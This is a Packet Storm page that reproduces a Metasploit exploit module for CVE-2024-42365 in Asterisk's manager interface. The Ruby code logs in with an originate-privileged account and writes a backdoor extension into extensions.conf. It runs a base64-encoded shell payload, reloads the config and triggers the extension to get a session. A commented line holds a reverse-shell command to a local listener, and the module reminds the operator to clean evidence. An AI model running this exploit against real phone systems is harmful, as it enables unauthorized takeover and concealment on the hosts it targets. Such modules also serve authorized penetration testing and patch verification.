what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Asterisk AMI Originate Authenticated Remote Code Execution

Asterisk AMI Originate Authenticated Remote Code Execution
Posted Dec 3, 2024
Authored by h00die, Brendan Coles | Site metasploit.com

On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk versions 18.9-cert11 and 20.7-cert2, an AMI user with write=originate may change all configuration files in the /etc/asterisk/ directory. Writing a new extension can be created which performs a system command to achieve RCE as the asterisk service user (typically asterisk). Default parking lot in FreePBX is called "Default lot" on the website interface, however its actually parkedcalls. Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.

tags | exploit
advisories | CVE-2024-42365
SHA-256 | aaa85ef431233c3a1132d94aecb8ae125513ea2870cf4cccc7e2d15d096664fb

Asterisk AMI Originate Authenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Asterisk
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Asterisk AMI Originate Authenticated RCE',
'Description' => %q{
On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
all configuration files in the '/etc/asterisk/' directory. Writing a new extension
can be created which performs a system command to achieve RCE as the asterisk service
user (typically asterisk).
Default parking lot in FreePBX is called "Default lot" on the website interface,
however its actually 'parkedcalls'.
Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
},
'Author' => [
'Brendan Coles <bcoles[at]gmail.com>', # lots of AMI command stuff
'h00die', # msf module
'NielsGaljaard' # discovery
],
'References' => [
['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'],
['CVE', '2024-42365']
],
'Platform' => 'unix',
# leaving this for future travelers. I was still not getting 100% payload compatibility
# so there seems to still be another character or two bad, but b64 fixed it.
# 'Payload' => {
# # ; is a comment in the extensions.conf file
# 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout
# },

# 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)
# `echo "" | base64 -d | sh` == 19 characters
# chatGPT says 908 b64 encoded characters makes 681 pre-encoding.
'Payload' => {
'Space' => 681
},
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_command
}
],
],
'Privileged' => false,
'DisclosureDate' => '2024-08-08',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultTarget' => 0,
'License' => MSF_LICENSE
)
)
register_options [
OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']),
OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']),
OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]),
]
register_advanced_options [
OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]),
]
end

def conn?
vprint_status 'Connecting...'

connect
banner = sock.get_once

unless banner =~ %r{Asterisk Call Manager/([\d.]+)}
print_bad('Asterisk Call Manager does not appear to be running')
return false
end

print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}"

unless login(datastore['USERNAME'], datastore['PASSWORD'])
print_bad('Authentication failed')
return false
end

print_good 'Authenticated successfully'
true
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error e.message
false
end

def check
# why don't we check the version numbers?
# we're connecting to Asterisk Call Manager, which seems to be a sub component
# of asterisk and therefore the version numbers don't line up. For instance
# Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)
# uses Asterisk Call Manager version 8.0.2.
return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?

version = get_asterisk_version
disconnect

return CheckCode::Detected('Able to connect, unable to determine version') if !version
if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||
version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||
version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||
version.to_s.include?('cert') &&
(
version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||
version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))
)
return Exploit::CheckCode::Appears("Exploitable version #{version} found")
end

return Exploit::CheckCode::Safe("Unexploitable version #{version} found")
end

def exploit
fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn?

new_context = rand_text_alpha(8..12)
print_status("Using new context name: #{new_context}")

print_status('Loading conf file')
req = "Action: Originate\r\n"
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
req << "Application: SET\r\n"
req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n"
req << "\r\n"
res = send_command req
res = res.strip.gsub("\r\n", ', ')

if res.include?('Response: Error')
disconnect
fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT")
end
vprint_good(" #{res}")
# since commands are queued, sleeping 1 second is needed for the job to
# execute. This is mentioned in the original writeup: "(you might need to take some time between them)."
Rex.sleep(datastore['TIMEOUT'])

print_status('Setting backdoor')
req = "Action: Originate\r\n"
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
req << "Application: SET\r\n"
# from the PoC
# req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n"
req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n"
req << "\r\n"
res = send_command req
res = res.strip.gsub("\r\n", ', ')

if res.include?('Response: Error')
disconnect
fail_with(Failure::UnexpectedReply, res)
end
vprint_good(" #{res}")
Rex.sleep(datastore['TIMEOUT'])

print_status('Reloading config')
req = "Action: Originate\r\n"
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"
req << "Application: Reload\r\n"
req << "Data: pbx_config\r\n"
req << "\r\n"
res = send_command req
res = res.strip.gsub("\r\n", ', ')

if res.include?('Response: Error')
disconnect
fail_with(Failure::UnexpectedReply, res)
end
vprint_good(" #{res}")
Rex.sleep(datastore['TIMEOUT'])

print_status('Triggering shellcode')
req = "Action: Originate\r\n"
req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n"
req << "application: Verbose\r\n"
req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n"
req << "\r\n"
send_command req

disconnect
end

def on_new_session(client)
super
print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!")
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close